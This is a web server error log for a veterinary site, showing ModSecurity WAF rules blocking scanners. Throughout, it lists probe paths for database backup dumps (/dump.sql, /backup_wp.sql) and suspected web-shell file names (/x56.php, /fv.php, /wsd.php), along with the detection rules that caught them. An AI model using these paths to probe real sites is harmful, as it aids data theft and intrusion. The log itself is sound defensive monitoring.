[Thu Jan 01 08:08:33.850298 2026] [:error] [pid 58818:tid 58859] [client 185.220.101.18:41272] [client 185.220.101.18] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/back.sql"] [unique_id "aVW7AWr6b3Nsqkrqu83yRAAAAEY"]
[Thu Jan 01 08:08:36.896090 2026] [:error] [pid 58817:tid 58840] [client 109.70.100.4:41494] [client 109.70.100.4] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/bck.sql"] [unique_id "aVW7BFebWGLeUWiwYf_0OAAAAA4"]
[Thu Jan 01 08:08:37.983814 2026] [:error] [pid 58370:tid 58394] [client 185.138.88.25:34442] [client 185.138.88.25] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/s_com.sql"] [unique_id "aVW7BTkIHVNixymRHHcUegAAARY"]
[Thu Jan 01 08:08:41.732707 2026] [:error] [pid 58819:tid 58894] [client 81.19.141.199:60002] [client 81.19.141.199] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/dump.sql"] [unique_id "aVW7CRMbLE49waxUJzPM6gAAAI4"]
[Thu Jan 01 08:08:43.236243 2026] [:error] [pid 58370:tid 58372] [client 107.189.8.133:14100] [client 107.189.8.133] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/vets.sql"] [unique_id "aVW7CzkIHVNixymRHHcUhAAAAQA"]
[Thu Jan 01 08:08:44.565240 2026] [:error] [pid 58818:tid 58865] [client 192.42.116.193:13376] [client 192.42.116.193] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/rs_com.sql"] [unique_id "aVW7DGr6b3Nsqkrqu83yUQAAAEw"]
[Thu Jan 01 08:08:46.132978 2026] [:error] [pid 58819:tid 58889] [client 45.143.200.32:41242] [client 45.143.200.32] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||vetstars.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/backup_wp.sql"] [unique_id "aVW7DhMbLE49waxUJzPM7QAAAIk"]
[Thu Jan 01 10:33:57.262329 2026] [:error] [pid 58818:tid 58871] [client 162.62.132.25:50234] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVXdFWr6b3Nsqkrqu80TdwAAAFI"]
[Thu Jan 01 13:13:54.193813 2026] [:error] [pid 54016:tid 54026] [client 196.51.119.12:34051] [client 196.51.119.12] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.51.119.12, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aVYCkte606Kc9XfrojFz8wAAAcg"], referer: https://vetstars.com.au/
[Thu Jan 01 13:37:05.821158 2026] [:error] [pid 58819:tid 58901] [client 182.42.111.213:49241] [client 182.42.111.213] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVYIARMbLE49waxUJzMQnQAAAJU"]
[Thu Jan 01 13:47:15.096707 2026] [:error] [pid 58924:tid 58940] [client 43.156.232.190:52484] [client 43.156.232.190] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVYKYzYXM8NvhWQPUGsrLQAAAM4"]
[Thu Jan 01 17:54:42.968153 2026] [:error] [pid 26615:tid 26686] [client 43.130.131.18:45100] [client 43.130.131.18] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVZEYh_JbAVB_Sll5zkiMAAAAQc"]
[Thu Jan 01 19:57:13.246527 2026] [:error] [pid 995:tid 1003] [client 180.110.203.108:33170] [client 180.110.203.108] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVZhGWJVFefxwdkvFzjbeQAAAQU"]
[Thu Jan 01 20:55:27.371811 2026] [:error] [pid 63887:tid 63898] [client 43.128.67.187:46844] [client 43.128.67.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVZuvzYeTZeQR8aqQeVrzAAAAEc"]
[Fri Jan 02 01:03:57.981634 2026] [:error] [pid 19497:tid 19566] [client 43.153.62.161:45630] [client 43.153.62.161] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aVao_azNNNiUujf1d5FJPAAAAMs"]
[Fri Jan 02 04:51:46.572854 2026] [:error] [pid 63100:tid 63172] [client 43.130.116.87:43664] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "aVbeYjuUXUKd3KTnKl-ACQAAAIs"]
[Fri Jan 02 07:26:23.076318 2026] [autoindex:error] [pid 63099:tid 63137] [client 172.161.146.188:14615] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/colors/blue/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Fri Jan 02 07:26:58.621613 2026] [:error] [pid 63208:tid 63227] [client 172.161.146.188:14686] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVcCwnKLI9INGPLzfnetiwAAANA"]
[Fri Jan 02 07:26:59.316051 2026] [:error] [pid 63099:tid 63134] [client 172.161.146.188:14597] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVcCw8mCZokRPYUhzvg3FAAAAEA"]
[Fri Jan 02 07:26:59.831280 2026] [:error] [pid 63099:tid 63148] [client 172.161.146.188:14696] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVcCw8mCZokRPYUhzvg3FgAAAE4"]
[Fri Jan 02 07:27:00.453130 2026] [:error] [pid 63208:tid 63224] [client 172.161.146.188:14703] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x56.php"] [unique_id "aVcCxHKLI9INGPLzfnetjAAAAM0"]
[Fri Jan 02 07:27:01.231452 2026] [:error] [pid 63100:tid 63184] [client 172.161.146.188:14606] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aVcCxTuUXUKd3KTnKl-9TAAAAJc"]
[Fri Jan 02 07:27:01.784874 2026] [:error] [pid 63100:tid 63162] [client 172.161.146.188:14664] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aVcCxTuUXUKd3KTnKl-9TQAAAIE"]
[Fri Jan 02 07:27:02.491154 2026] [:error] [pid 63098:tid 63127] [client 172.161.146.188:14669] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aVcCxsez9k78gUs48kqxhgAAABQ"]
[Fri Jan 02 07:27:03.234753 2026] [:error] [pid 63208:tid 63214] [client 172.161.146.188:14676] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/htaccess.php"] [unique_id "aVcCx3KLI9INGPLzfnetlAAAAMM"]
[Fri Jan 02 07:27:03.809083 2026] [:error] [pid 63098:tid 63115] [client 172.161.146.188:14612] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aVcCx8ez9k78gUs48kqxiAAAAAg"]
[Fri Jan 02 07:27:04.515828 2026] [:error] [pid 63098:tid 63107] [client 172.161.146.188:14713] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aVcCyMez9k78gUs48kqxigAAAAA"]
[Fri Jan 02 07:27:05.067659 2026] [:error] [pid 63098:tid 63110] [client 172.161.146.188:14670] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aVcCycez9k78gUs48kqxiwAAAAM"]
[Fri Jan 02 07:27:05.656054 2026] [:error] [pid 63098:tid 63120] [client 172.161.146.188:14714] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/readme.php"] [unique_id "aVcCycez9k78gUs48kqxjgAAAA0"]
[Fri Jan 02 07:27:06.166626 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:14699] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVcCysez9k78gUs48kqxjwAAAAI"]
[Fri Jan 02 07:27:06.775357 2026] [:error] [pid 63100:tid 63177] [client 172.161.146.188:14615] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVcCyjuUXUKd3KTnKl-9UgAAAJA"]
[Fri Jan 02 07:27:07.324709 2026] [:error] [pid 63099:tid 63154] [client 172.161.146.188:14623] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVcCy8mCZokRPYUhzvg3HQAAAFQ"]
[Fri Jan 02 07:27:07.891240 2026] [:error] [pid 63100:tid 63175] [client 172.161.146.188:14602] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/x50.php"] [unique_id "aVcCyzuUXUKd3KTnKl-9VgAAAI4"]
[Fri Jan 02 07:27:08.502855 2026] [:error] [pid 63098:tid 63127] [client 172.161.146.188:14592] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVcCzMez9k78gUs48kqxlgAAABQ"]
[Fri Jan 02 07:27:09.206678 2026] [:error] [pid 63098:tid 63115] [client 172.161.146.188:14674] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVcCzcez9k78gUs48kqxmAAAAAg"]
[Fri Jan 02 07:27:09.762993 2026] [:error] [pid 63100:tid 63184] [client 172.161.146.188:14707] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVcCzTuUXUKd3KTnKl-9WgAAAJc"]
[Fri Jan 02 07:27:10.651123 2026] [:error] [pid 63208:tid 63224] [client 172.161.146.188:14599] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fv.php"] [unique_id "aVcCznKLI9INGPLzfnetlgAAAM0"]
[Fri Jan 02 07:27:11.257689 2026] [:error] [pid 63098:tid 63109] [client 172.161.146.188:14593] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVcCz8ez9k78gUs48kqxmwAAAAI"]
[Fri Jan 02 07:27:11.946968 2026] [:error] [pid 63208:tid 63225] [client 172.161.146.188:14704] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVcCz3KLI9INGPLzfnetmAAAAM4"]
[Fri Jan 02 07:27:12.615655 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:14716] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVcC0Mez9k78gUs48kqxngAAAA8"]
[Fri Jan 02 07:27:13.229589 2026] [:error] [pid 63208:tid 63222] [client 172.161.146.188:14710] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file.php"] [unique_id "aVcC0XKLI9INGPLzfnetmwAAAMs"]
[Fri Jan 02 07:27:14.139814 2026] [:error] [pid 63100:tid 63178] [client 172.161.146.188:5059] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVcC0juUXUKd3KTnKl-9XwAAAJE"]
[Fri Jan 02 07:27:14.989459 2026] [:error] [pid 63208:tid 63215] [client 172.161.146.188:14654] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVcC0nKLI9INGPLzfnetnQAAAMQ"]
[Fri Jan 02 07:27:15.564327 2026] [:error] [pid 63099:tid 63135] [client 172.161.146.188:14656] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVcC08mCZokRPYUhzvg3LQAAAEE"]
[Fri Jan 02 07:27:16.165624 2026] [:error] [pid 63208:tid 63217] [client 172.161.146.188:14621] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lsd.php"] [unique_id "aVcC1HKLI9INGPLzfnetoAAAAMY"]
[Fri Jan 02 07:27:16.797737 2026] [:error] [pid 63208:tid 63219] [client 172.161.146.188:14709] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVcC1HKLI9INGPLzfnetoQAAAMg"]
[Fri Jan 02 07:27:17.830678 2026] [:error] [pid 63100:tid 63180] [client 172.161.146.188:14658] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVcC1TuUXUKd3KTnKl-9ZAAAAJM"]
[Fri Jan 02 07:27:18.571674 2026] [:error] [pid 63098:tid 63110] [client 172.161.146.188:14659] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVcC1sez9k78gUs48kqxpQAAAAM"]
[Fri Jan 02 07:27:19.212217 2026] [:error] [pid 63099:tid 63150] [client 172.161.146.188:14663] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/as.php"] [unique_id "aVcC18mCZokRPYUhzvg3MgAAAFA"]
[Fri Jan 02 07:27:19.933154 2026] [:error] [pid 63098:tid 63123] [client 172.161.146.188:14634] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVcC18ez9k78gUs48kqxqAAAABA"]
[Fri Jan 02 07:27:20.673418 2026] [:error] [pid 63098:tid 63122] [client 172.161.146.188:14650] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVcC2Mez9k78gUs48kqxqgAAAA8"]
[Fri Jan 02 07:27:21.413697 2026] [:error] [pid 63208:tid 63213] [client 172.161.146.188:14609] [client 172.161.146.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsd.php"] [unique_id "aVcC2XKLI9INGPLzfnetqgAAAMI"]
